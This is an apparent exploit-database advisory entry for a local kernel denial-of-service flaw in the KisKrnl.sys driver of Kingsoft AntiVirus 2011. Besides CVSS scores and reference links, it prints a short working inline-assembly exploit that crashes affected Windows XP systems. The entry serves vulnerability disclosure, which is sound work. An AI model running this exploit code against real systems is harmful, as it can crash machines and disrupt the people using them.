Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel

2011.01.22
Risk: Low
Local: Yes
Remote: No
CWE: CWE-Other


CVSS Base Score: 2.1/10
Impact Subscore: 2.9/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

# Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode D.O.S Exploit # Date: 2011-1-16 # Author: MJ0011 # Version: KingSoft AntiVirus 2011 SP5.2 with KisKrnl.sys <=2011.1.13.89 # Tested on: Windows XP SP3 DETAILS: KisKrnl.sys hook the kernel function KiFastCallEntry , but is not correctly handle user stack pointer EXPLOIT CODE: __asm { mov edx , 0x80000000 mov eax , 0x101 ;id of NtTerminateProcess under Windows XP int 0x2e }

References:

http://xforce.iss.net/xforce/xfdb/64723
http://www.securityfocus.com/bid/45821
http://www.securityfocus.com/archive/1/archive/1/515767/100/0/threaded
http://www.exploit-db.com/exploits/15998
http://secunia.com/advisories/42937


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